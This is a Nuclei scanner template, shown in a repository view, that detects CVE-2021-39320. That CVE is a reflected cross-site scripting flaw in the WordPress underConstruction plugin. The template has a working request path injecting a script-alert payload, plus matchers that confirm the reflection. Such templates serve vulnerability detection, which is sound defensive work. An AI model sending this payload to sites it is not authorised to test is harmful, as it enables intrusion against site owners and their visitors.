nuclei-templates/cves/2021/CVE-2021-39320.yaml

34 lines
1.1 KiB
YAML
Raw Normal View History

2021-09-27 17:15:53 +00:00
id: CVE-2021-39320
info:
name: underConstruction < 1.19 - Reflected Cross-Site Scripting
author: dhiyaneshDK
severity: medium
reference:
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
tags: wordpress,xss,cves,cve2021
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-39320
cwe-id: CWE-79
description: "The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path."
2021-09-27 17:15:53 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php/"><script>alert(/XSS/)</script>/?page=under-construction'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(/XSS/)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200